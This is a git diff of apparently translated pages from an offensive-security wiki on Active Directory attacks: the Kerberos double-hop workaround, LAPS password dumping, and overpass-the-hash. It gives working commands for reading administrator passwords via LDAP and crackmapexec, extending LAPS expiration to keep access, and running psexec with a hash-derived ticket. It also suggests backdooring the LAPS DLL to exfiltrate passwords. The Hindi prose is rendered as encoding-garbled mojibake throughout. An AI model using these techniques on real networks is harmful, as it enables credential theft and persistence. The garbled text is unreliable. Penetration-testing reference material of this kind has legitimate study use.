рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ рдирд┐рдпрдо рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдлреЙрд░рд╡рд░реНрдбреЗрдб рдкреЛрд░реНрдЯ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ Windows рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдирд┐рдпрдо рднреАред +рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдордзреНрдпрд╡рд░реНрддреА рд▓рдХреНрд╖реНрдп рдкрд░, рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдЕрдВрддрд┐рдо рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред `netsh` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ рдирд┐рдпрдо рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдлреЙрд░рд╡рд░реНрдбреЗрдб рдкреЛрд░реНрдЯ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ Windows рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдирд┐рдпрдоред ```bash netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23 netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446 @@ -70,11 +70,11 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname ``` ### OpenSSH -рдкрд╣рд▓реЗ рд╕рд░реНрд╡рд░ рдкрд░ OpenSSH рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рдбрдмрд▓-рд╣реЙрдк рд╕рдорд╕реНрдпрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдВрдк рдмреЙрдХреНрд╕ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП Windows рдХреЗ рд▓рд┐рдП OpenSSH рдХреА CLI рд╕реНрдерд╛рдкрдирд╛ рдФрд░ рд╕реЗрдЯрдЕрдк рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЬрдм рдЗрд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдордзреНрдпрд╡рд░реНрддреА рд╕рд░реНрд╡рд░ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ TGT рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +рдкрд╣рд▓реЗ рд╕рд░реНрд╡рд░ рдкрд░ OpenSSH рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдбрдмрд▓-рд╣реЙрдк рд╕рдорд╕реНрдпрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рд╕рдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдВрдк рдмреЙрдХреНрд╕ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП Windows рдХреЗ рд▓рд┐рдП OpenSSH рдХреА CLI рд╕реНрдерд╛рдкрдирд╛ рдФрд░ рд╕реЗрдЯрдЕрдк рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЬрдм рдЗрд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдордзреНрдпрд╡рд░реНрддреА рд╕рд░реНрд╡рд░ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ TGT рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред #### OpenSSH рд╕реНрдерд╛рдкрдирд╛ рдЪрд░рдг -1. рдирд╡реАрдирддрдо OpenSSH рд░рд┐рд▓реАрдЬрд╝ рдЬрд╝рд┐рдк рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рд▓рдХреНрд╖рд┐рдд рд╕рд░реНрд╡рд░ рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВред +1. рдирд╡реАрдирддрдо OpenSSH рд░рд┐рд▓реАрдЬрд╝ рдЬрд╝рд┐рдк рдХреЛ рд▓рдХреНрд╖рд┐рдд рд╕рд░реНрд╡рд░ рдкрд░ рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВред 2. рдЬрд╝рд┐рдк рдирд┐рдХрд╛рд▓реЗрдВ рдФрд░ `Install-sshd.ps1` рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдБред 3. рдкреЛрд░реНрдЯ 22 рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдирд┐рдпрдо рдЬреЛрдбрд╝реЗрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ SSH рд╕реЗрд╡рд╛рдПрдБ рдЪрд▓ рд░рд╣реА рд╣реИрдВред @@ -82,7 +82,7 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname ```bash icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T ``` -## рд╕рдВрджрд░реНрдн +## References - [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20) - [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/) diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md index 1947a305c..587f559e4 100644 --- a/src/windows-hardening/active-directory-methodology/laps.md +++ b/src/windows-hardening/active-directory-methodology/laps.md @@ -5,9 +5,9 @@ ## Basic Information -Local Administrator Password Solution (LAPS) рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ **рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб**, рдЬреЛ **рд╡рд┐рд╢рд┐рд╖реНрдЯ, рдпрд╛рджреГрдЪреНрдЫрд┐рдХ, рдФрд░ рдЕрдХреНрд╕рд░ рдмрджрд▓реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ** рд╣реЛрддреЗ рд╣реИрдВ, рдбреЛрдореЗрди-рдЬреЛрдбрд╝реЗ рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб Active Directory рдХреЗ рднреАрддрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ Access Control Lists (ACLs) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рд╕рд░реНрд╡рд░ рддрдХ рдкрд╛рд╕рд╡рд░реНрдб рдЯреНрд░рд╛рдВрд╕рдорд┐рд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ **Kerberos version 5** рдФрд░ **Advanced Encryption Standard (AES)** рдХреЗ рдЙрдкрдпреЛрдЧ рджреНрд╡рд╛рд░рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред +Local Administrator Password Solution (LAPS) рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ **administrator passwords**, рдЬреЛ **рд╡рд┐рд╢рд┐рд╖реНрдЯ, рдпрд╛рджреГрдЪреНрдЫрд┐рдХ, рдФрд░ рдЕрдХреНрд╕рд░ рдмрджрд▓реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ** рд╣реЛрддреЗ рд╣реИрдВ, рдбреЛрдореЗрди-рдЬреЛрдбрд╝реЗ рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреЗ рд╣реИрдВред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб Active Directory рдХреЗ рднреАрддрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ Access Control Lists (ACLs) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рд╕рд░реНрд╡рд░ рддрдХ рдкрд╛рд╕рд╡рд░реНрдб рдЯреНрд░рд╛рдВрд╕рдорд┐рд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ **Kerberos version 5** рдФрд░ **Advanced Encryption Standard (AES)** рдХреЗ рдЙрдкрдпреЛрдЧ рджреНрд╡рд╛рд░рд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред -рдбреЛрдореЗрди рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдореЗрдВ, LAPS рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рджреЛ рдирдП рдЧреБрдг рдЬреЛрдбрд╝реЗ рдЬрд╛рддреЗ рд╣реИрдВ: **`ms-mcs-AdmPwd`** рдФрд░ **`ms-mcs-AdmPwdExpirationTime`**ред рдпреЗ рдЧреБрдг **рд╕рд╛рджрд╛-рдЯреЗрдХреНрд╕ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб** рдФрд░ **рдЗрд╕рдХреЗ рд╕рдорд╛рдкреНрддрд┐ рд╕рдордп** рдХреЛ рдХреНрд░рдорд╢рдГ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВред +рдбреЛрдореЗрди рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдореЗрдВ, LAPS рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рджреЛ рдирдП рдЧреБрдгреЛрдВ рдХреА рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрддрд╛ рд╣реИ: **`ms-mcs-AdmPwd`** рдФрд░ **`ms-mcs-AdmPwdExpirationTime`**ред рдпреЗ рдЧреБрдг **plain-text administrator password** рдФрд░ **рдЗрд╕рдХреЗ рд╕рдорд╛рдкреНрддрд┐ рд╕рдордп** рдХреЛ рдХреНрд░рдорд╢рдГ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВред ### Check if activated ```bash @@ -27,7 +27,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs рдЖрдк **рдХрдЪреНрдЪреА LAPS рдиреАрддрд┐** рдХреЛ `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ **`Parse-PolFile`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) рдкреИрдХреЗрдЬ рд╕реЗ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдорд╛рдирд╡-рдкрдардиреАрдп рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **рд╕реНрдерд╛рдиреАрдп LAPS PowerShell cmdlets** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рд╡реЗ рдЙрд╕ рдорд╢реАрди рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рд╣реИрдВ рдЬрд┐рд╕ рдкрд░ рд╣рдореЗрдВ рдкрд╣реБрдВрдЪ рд╣реИ: -```powershell +```bash Get-Command *AdmPwd* CommandType Name Version Source @@ -47,8 +47,8 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl # Read the password Get-AdmPwdPassword -ComputerName wkstn-2 | fl ``` -**PowerView** рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ **рдХреМрди рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ**: -```powershell +**PowerView** рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ **рдХреМрди рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ**: +```bash # Find the principals that have ReadPropery on ms-Mcs-AdmPwd Get-AdmPwdPassword -ComputerName wkstn-2 | fl @@ -58,9 +58,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd ### LAPSToolkit The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) LAPS рдХреА рдЧрдгрдирд╛ рдХреЛ рдХрдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИред\ -рдПрдХ рд╣реИ **`ExtendedRights`** рдХреЛ **LAPS рд╕рдХреНрд╖рдо рд╕рднреА рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ** рдХреЗ рд▓рд┐рдП рдкрд╛рд░реНрд╕ рдХрд░рдирд╛ред рдпрд╣ **рд╕рдореВрд╣реЛрдВ** рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **LAPS рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ** рдХреЗ рд▓рд┐рдП **delegated** рд╣реИрдВ, рдЬреЛ рдЕрдХреНрд╕рд░ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реЛрддреЗ рд╣реИрдВред\ +рдПрдХ рдХрд╛рд░реНрдп рд╣реИ **`ExtendedRights`** рдХреЛ **LAPS рд╕рдХреНрд╖рдо рд╕рднреА рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ** рдХреЗ рд▓рд┐рдП рдкрд╛рд░реНрд╕ рдХрд░рдирд╛ред рдпрд╣ **рд╕рдореВрд╣реЛрдВ** рдХреЛ рджрд┐рдЦрд╛рдПрдЧрд╛ рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ LAPS рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП **delegated** рд╣реИрдВ, рдЬреЛ рдЕрдХреНрд╕рд░ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реЛрддреЗ рд╣реИрдВред\ рдПрдХ **рдЦрд╛рддрд╛** рдЬреЛ **рдХрдВрдкреНрдпреВрдЯрд░** рдХреЛ рдбреЛрдореЗрди рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рдЙрд╕ рд╣реЛрд╕реНрдЯ рдкрд░ `All Extended Rights` рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рдЕрдзрд┐рдХрд╛рд░ **рдЦрд╛рддреЗ** рдХреЛ **рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ** рдХреА рдХреНрд╖рдорддрд╛ рджреЗрддрд╛ рд╣реИред рдЧрдгрдирд╛ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдХреЛ рджрд┐рдЦрд╛ рд╕рдХрддреА рд╣реИ рдЬреЛ рдПрдХ рд╣реЛрд╕реНрдЯ рдкрд░ LAPS рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╣рдореЗрдВ **рд╡рд┐рд╢рд┐рд╖реНрдЯ AD рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ** рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ LAPS рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред -```powershell +```bash # Get groups that can read passwords Find-LAPSDelegatedGroups @@ -85,7 +85,7 @@ DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41 ``` ## **Dumping LAPS Passwords With Crackmapexec** -рдпрджрд┐ рдкрд╛рд╡рд░рд╢реЗрд▓ рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк LDAP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ powershell рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк LDAP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ``` crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps ``` @@ -104,7 +104,7 @@ Password: 2Z@Ae)7!{9#Cq ### **рд╕рдорд╛рдкреНрддрд┐ рддрд┐рдерд┐** рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдмрди рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ **рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛** рдФрд░ **рдПрдХ рдорд╢реАрди рдХреЛ рдЙрд╕рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдирд╛** рд╕рдВрднрд╡ рд╣реИ **рд╕рдорд╛рдкреНрддрд┐ рддрд┐рдерд┐ рдХреЛ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рд╕реЗрдЯ рдХрд░рдХреЗ**ред -```powershell +```bash # Get expiration time Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime @@ -113,15 +113,15 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"} ``` > [!WARNING] -> рдпрджрд┐ рдХреЛрдИ **admin** **`Reset-AdmPwdPassword`** cmdlet рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдкрд╛рд╕рд╡рд░реНрдб рдЕрднреА рднреА рд░реАрд╕реЗрдЯ рд╣реЛ рдЬрд╛рдПрдЧрд╛; рдпрд╛ рдпрджрд┐ LAPS GPO рдореЗрдВ **Do not allow password expiration time longer than required by policy** рд╕рдХреНрд╖рдо рд╣реИред +> рдкрд╛рд╕рд╡рд░реНрдб рддрдм рднреА рд░реАрд╕реЗрдЯ рд╣реЛрдЧрд╛ рдпрджрд┐ рдХреЛрдИ **admin** **`Reset-AdmPwdPassword`** cmdlet рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ; рдпрд╛ рдпрджрд┐ LAPS GPO рдореЗрдВ **Do not allow password expiration time longer than required by policy** рд╕рдХреНрд╖рдо рд╣реИред -### рдмреИрдХрдбреЛрд░ +### Backdoor LAPS рдХрд╛ рдореВрд▓ рд╕реНрд░реЛрдд рдХреЛрдб [рдпрд╣рд╛рдВ](https://github.com/GreyCorbel/admpwd) рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЛрдб рдореЗрдВ рдПрдХ рдмреИрдХрдбреЛрд░ рдбрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `Main/AdmPwd.PS/Main.cs` рдореЗрдВ `Get-AdmPwdPassword` рд╡рд┐рдзрд┐ рдХреЗ рдЕрдВрджрд░) рдЬреЛ рдХрд┐рд╕реА рди рдХрд┐рд╕реА рддрд░рд╣ **рдирдП рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдпрд╛ рдХрд╣реАрдВ рд╕реНрдЯреЛрд░ рдХрд░реЗрдЧрд╛**ред -рдлрд┐рд░, рдмрд╕ рдирдП `AdmPwd.PS.dll` рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдорд╢реАрди рдореЗрдВ `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ (рдФрд░ рд╕рдВрд╢реЛрдзрди рд╕рдордп рдмрджрд▓реЗрдВ)ред +рдлрд┐рд░, рдмрд╕ рдирдП `AdmPwd.PS.dll` рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдорд╢реАрди рдкрд░ `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ (рдФрд░ рд╕рдВрд╢реЛрдзрди рд╕рдордп рдмрджрд▓реЗрдВ)ред -## рд╕рдВрджрд░реНрдн +## References - [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/) diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md index 32e0c6136..061b048ab 100644 --- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md +++ b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md @@ -15,9 +15,9 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2 export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass ``` -AES256 рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╡рд╛рд▓реЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, `-aesKey [AES key]` рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреНрд░рд╛рдкреНрдд рдЯрд┐рдХрдЯ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ smbexec.py рдпрд╛ wmiexec.py рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓реЗ рдХреЗ рджрд╛рдпрд░реЗ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рд╣реЛрддрд╛ рд╣реИред +AES256 рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╡рд╛рд▓реЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, `-aesKey [AES key]` 